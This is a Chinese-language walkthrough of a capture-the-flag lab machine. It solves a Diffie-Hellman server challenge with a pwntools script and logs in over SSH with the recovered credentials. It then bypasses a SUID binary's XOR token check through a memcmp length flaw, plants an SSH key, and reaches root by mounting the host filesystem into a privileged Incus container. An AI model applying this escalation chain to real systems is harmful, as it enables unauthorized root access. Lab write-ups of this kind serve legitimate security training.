信息收集

```
┌──(root㉿kali)-[~]
└─# arp-scan -l | grep PCS
192.168.31.109  08:00:27:11:9b:89       PCS Systemtechnik GmbH

┌──(root㉿kali)-[~]
└─# IP=192.168.31.109

```

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-23 03:57 EST
Nmap scan report for Hellman (192.168.31.109)
Host is up (0.0012s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0 (protocol 2.0)
80/tcp open  http    nginx
|_http-title: Diffie-Hellman Challenge Guide
MAC Address: 08:00:27:11:9B:89 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5
(Linux 5.6.3)
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.20 ms Hellman (192.168.31.109)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.14 seconds
```

访问发现是一道密码题，题目要求模拟 Diffie-Hellman 密钥交换协议的一方，连接服务器后得到以下参数：

- **公共参数**: 一个大素数 p 和生成元 g（固定为 2）
- **每轮变化**: Alice 的公钥 A 和我们要使用的私钥 b

数学原理

Diffie-Hellman 的核心机制如下：

1. Alice 生成私钥 a，计算公钥 $A = g^a \pmod{p}$ 发送给我们
2. 我们拥有私钥 b
3. 我们需要计算共享密钥 S

根据 DH 协议定义，共享密钥的计算公式为 $S = A^b \pmod{p}$

交互逻辑分析

观察发现服务器的交互流程如下：

1. 服务器发送欢迎语并给出 g 和 p
2. 第一轮挑战服务器发送当前轮次的 b 和 A
3. 后续轮次如果发送正确的 S，服务器返回 `Correct!`，紧接着发送新一轮的 b 和 A，且不再发送 g 和 p

解题脚本

```python
from pwn import *

context.log_level = 'info'

p = remote('192.168.31.109', 1337)
rounds = 500

p.recvuntil(b'g = ')
g = int(p.recvline().strip())

p.recvuntil(b'p = ')
p_ = int(p.recvline().strip())

print(f"g={g}")
print(f"p ={p_}")

for _ in range(rounds):
    p.recvuntil(b'b = ')
    b = int(p.recvline().strip())

    p.recvuntil(b'A = ')
    A = int(p.recvline().strip())

    p.recvuntil(b'>')

```

```
    # Shared Secret
    S = pow(A, b, p_)

    p.sendline(str(S).encode())

p.interactive()
```

从输出中得到 `676f643a6e756d626572735f6172655f68617264`，十六进制转字符得到 `god:numbers_are_hard`

```
┌──(root㉿kali)-[~]
└─# ssh god@$IP
The authenticity of host '192.168.31.109 (192.168.31.109)' can't be established.
ED25519 key fingerprint is SHA256:xJ9OoWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:10: [hashed name]
    ~/.ssh/known_hosts:13: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.109' (ED25519) to the list of known hosts.
god@192.168.31.109's password: numbers_are_hard
              _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Hellman:~$ id
uid=1001(god) gid=1001(god) groups=1001(god)
Hellman:~$ ls -ah
.              ..             .ash_history  user.txt
Hellman:~$ cat user.txt
flag{user-c9461249ea2e074a338b82db919b3fb9}
```

横向移动

```
Hellman:~$ find / -perm -u=s -type f 2>/dev/null
/bin/bbsuid
/usr/libexec/dbus-daemon-launch-helper
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/secure_auth
/usr/bin/chage
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
```

`/usr/bin/secure_auth` 不太对劲，拖出来逆一下

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t n; // rdx
  char *s; // [rsp+10h] [rbp-120h]
  const char *s1; // [rsp+18h] [rbp-118h]
  _BYTE s2[264]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+128h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  if ( argc > 2 )
  {
    s = (char *)argv[1];
    s1 = argv[2];
    xor_cipher(
      s,
      key,                                      // "4b077130fw473r"
      s2);
    n = strlen(s);
    if ( !memcmp(s1, s2, n) )
    {
      puts("[+] Auth successful. Switching to UID 1002...");
      if ( setresgid(0x3EAu, 0x3EAu, 0x3EAu) )
        perror("setresgid failed");
      if ( setresuid(0x3EAu, 0x3EAu, 0x3EAu) )
        perror("setresuid failed");
      system(s);
    }
    else
    {
      puts("[-] Auth failed.");
    }
    return 0;
  }
  else
  {
    printf("Usage: %s <command> <token>\n", *argv);
    return 1;
  }
}
```

程序逻辑如下：

1. **输入**：接收参数 `<command>` 和 `<token>`
2. **加密**：程序内有一个硬编码的密钥 `key = "4b077130fw473r"`，程序将 `<command>` 与 `key` 异或的结果存入 `s2`
3. **验证**：比较 `<token>` 与计算出的 `s2` 是否一致
4. **执行**：如果一致就将当前用户的 UID/GID 设置为 1002，然后执行 `<command>`

`s` (0x73) XOR `4` (0x34) = `G`

`h` (0x68) XOR `b` (0x62) = `\n`

所以正确的 Token 应该是 `G\n`

可以用 `$()` 来执行命令并将结果作为参数传递，但是 Linux 的命令替换 `$()` 默认会删除输出结果末尾的换行符，进而导致比较失败

回头看程序的验证逻辑：

```
n = strlen(s);              // 这里的 s 是 "sh"，所以 n = 2
if ( !memcmp(s1, s2, n) )   // s1 是输入的 Token，s2 是计算得到的 Token
```

关键点在于第三个参数 `n`，`memcmp` 并不是比较两个字符串是否完全相等，而是比较前 n 个字节是否相等

只要输入的 Token 的前 2 个字节 是 `G` 和 `\n` 即可通过验证，后面的字节不参与比较，所以在 `\n` 后面再加任意一个字符即可

```
Hellman:~$ /usr/bin/secure_auth sh "$(printf 'G\nx')"
[+] Auth successful. Switching to UID 1002...
~ $ id
uid=1002(water) gid=1002(water) groups=1001(god)
```

提权

检查 water 的历史记录

```
~ $ cd /home/water
/home/water $ ls -al
total 12
drwxr-sr-x    2 water    water         4096 Jan 23 15:46 .
drwxr-xr-x    4 root     root          4096 Jan 23 15:45 ..
-rw-------    1 water    water           63 Jan 23 15:47 .ash_history
/home/water $ cat .ash_history
incus
ls -l /var/lib/incus/unix.socket
addgroup god incus
exit
```

Incus 是 LXD 的一个社区分支，它是一个系统容器管理器
如果能访问 Incus/LXD 的 Socket 就意味着可以把宿主机的根目录 `/` 挂载到容器里，从而以 root 权限读写宿主机的任何文件
先确认是否有权限操作 Incus，看看谁有权限读写这个 socket 文件：

```
/home/water $ ls -l /var/lib/incus/unix.socket
srw-rw----    1 root     incus            0 Jan 23 16:52 /var/lib/incus/unix.socket
```

发现对 `incus` 组可写，然后检查 `incus` 的组成员

```
/home/water $ grep incus /etc/group
incus:x:106:water
incus-user:x:107:
incus-admin:x:108:
```

发现 `water` 在里面，在 kali 生成一对密钥

```
┌──(root㉿kali)-[~]
└─# ssh-keygen -t rsa -f water_key
Generating public/private rsa key pair.
Enter passphrase for "water_key" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in water_key
Your public key has been saved in water_key.pub
The key fingerprint is:
SHA256:GTh7pSNVcigvB6HQP/txQTibanRsngzJkvI6vfjjTSo root@kali
The key's randomart image is:
+---[RSA 3072]----+
|  ..  ...oo      |
|   ...o.++.      |
|    .+o*o=.      |
|  . o O+O=.      |
|   o oo%S. .     |
|    . +o=..      |
|   o ... o       |
|  E.o+  .        |
|  .==o.          |
+----[SHA256]-----+

┌──(root㉿kali)-[~]
└─# cat water_key.pub
```

```
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCsrbkrGLaPyxh8IrbFGmS4SYXnemawNEKUXOw9+aWOFRE25KX15DAzz
ajGwMylaVIMuEsJuSwSRCB6h8S/4Fyk58ebDDIQJDjefA59b/DEYXJhPrE+8LEqGEm1249/epPkSF6FQTYwny
ESzUGkwkEcmSJFE5pIUrR+YsVGGQh5hByLPzSmwU33lRu6khwlvpZ5bHMAoCUjf6YTHE6kHl+XYYBWSPjUtGT
+CpHFuX3sUVMGIpAO543OQS7FxJ8F74fAcgGjjFMrtJF1yo26adSGUIADvbyMG2ZCpClFlFyocXu+tlydjmzX
yyZj+eugHkEV/RHKXGQmSVG1inG+kzA3NFxy/emWI2kWenpYRuEMHQZRDe6siYlkVPBzqOMe2HDHTF1C1W2O6
V2XOUxrhh/P67yVpzDo+CSU1MN7+oP5sFpwtQvyRr9Mi6cvT9BvExbjtRawkQsabCJ6M1KK3/JG8aXhqsK+kk
lwQJTQFNo2o2FqRd/6Ok1rRKY+MAaGTyk= root@kali
```

回到靶机

```
/home/water $ mkdir -p ./.ssh
/home/water $ chmod 700 ./.ssh
/home/water $ echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCsrbkrGLaPyxh8IrbFGmS4SYXnemawNEKUXOw9+aWOFRE25KX15DAzzaj
GwMylaVIM
uEsJuSwSRCB6h8S/4Fyk58ebDDIQJDjefA59b/DEYXJhPrE+8LEqGEm1249/epPkSF6FQTYwnyESzUGkwkEcmSJ
FE5pIUrR+YsVGGQh5hByLPzSmwU33lRu6khwl
vpZ5bHMAoCUjf6YTHE6kHl+XYYBWSPjUtGT+CpHFuX3sUVMGIpAO543OQS7FxJ8F74fAcgGjjFMrtJF1yo26adS
GUIADvbyMG2ZCpClFlFyocXu+tlydjmzXyyZj
+eugHkEV/RHKXGQmSVG1inG+kzA3NFxy/emWI2kWenpYRuEMHQZRDe6siYlkVPBzqOMe2HDHTF1C1W2O6V2XOUx
rhh/P67yVpzDo+CSU1MN7+oP5sFpwtQvyRr9M
i6cvT9BvExbjtRawkQsabCJ6M1KK3/JG8aXhqsK+kklwQJTQFNo2o2FqRd/6Ok1rRKY+MAaGTyk= root@kali"
> /home/water/.ssh/authorized_keys
/home/water $ chmod 600 ./.ssh/authorized_keys
```

SSH 登录

```
┌──(root㉿kali)-[~]
└─# ssh -i water_key water@$IP
                _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Hellman:~$ id
uid=1002(water) gid=1002(water) groups=106(incus),1002(water)
```

看看本地有什么镜像

```
Hellman:~$ incus image list
+-------+--------------+--------+----------------------------------------+--------------+---------+---------+----------------------+
| ALIAS | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |  TYPE   |  SIZE   |     UPLOAD DATE      |
+-------+--------------+--------+----------------------------------------+--------------+---------+---------+----------------------+
|       | 56a897afdceb | no     | Alpine edge amd64 (20260120_13:00) | x86_64       | CONTAINER | 3.27MiB | 2026/01/23 15:48 CST |
+-------+--------------+--------+----------------------------------------+--------------+---------+---------+----------------------+
```

提权

```
Hellman:~$ incus init images:alpine/edge pwn -c security.privileged=true
Creating pwn
Hellman:~$ incus config device add pwn mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to pwn
Hellman:~$ incus start pwn
Hellman:~$ incus exec pwn /bin/sh
~ # id
uid=0(root) gid=0(root)
```